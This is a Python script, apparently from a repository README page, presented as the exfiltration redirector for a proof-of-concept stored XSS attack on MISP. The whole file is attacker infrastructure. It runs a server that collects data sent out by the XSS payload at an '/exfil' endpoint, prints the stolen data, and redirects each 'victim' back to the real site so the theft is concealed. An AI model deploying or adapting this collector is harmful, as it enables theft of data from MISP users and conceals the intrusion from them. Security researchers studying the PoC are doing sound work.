README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Exfiltration Redirector for MISP Stored XSS PoC
"""
import http.server
import socketserver
import urllib.parse
import argparse
import sys
import time
# ANSI colors
GREEN = "\033[92m"
RED = "\033[91m"
RESET = "\033[0m"
BOLD = "\033[1m"
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target_url = "https://google.com" # Default fallback
def do_GET(self):
# Parse query parameters
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
# Log request
print(f"\n{BOLD}[*] Incoming request from {self.client_address[0]}{RESET}")
print(f" Path: {self.path}")
# Handle Exfiltration
if parsed_path.path == '/exfil':
if 'data' in query_params:
data = query_params['data'][0]
print(f"{GREEN}[+] DATA EXFILTRATED SUCCESSFULLY!{RESET}")
print("-" * 50)
print(data)
print("-" * 50)
else:
print(f"{RED}[!] /exfil request received but no data parameter found.{RESET}")
elif parsed_path.path == '/error':
if 'msg' in query_params:
print(f"{RED}[-] Client Error Reported: {query_params['msg'][0]}{RESET}")
# Redirect back to valid page
print(f"[*] Redirecting victim back to: {self.target_url}")
self.send_response(302)
self.send_header('Location', self.target_url)
self.end_headers()
def log_message(self, format, *args):
pass
def start_server(port, target):
RedirectHandler.target_url = target
# Allow address reuse
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("", port), RedirectHandler) as httpd:
print(f"{BOLD}[*] Exfiltration Redirector started on port {port}{RESET}")
print(f"[*] Redirect target: {target}")
print("[*] Waiting for victim...\n")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print(f"\n{RED}[!] Server stopped by user.{RESET}")
sys.exit(0)
def main():
parser = argparse.ArgumentParser(description="Exfiltration Redirector Server")
parser.add_argument("target", help="URL to redirect victim back to (e.g. https://misp.example.com)")
parser.add_argument("--port", type=int, default=8000, help="Listen port (default: 8000)")
args = parser.parse_args()
start_server(args.port, args.target)
if __name__ == "__main__":
main()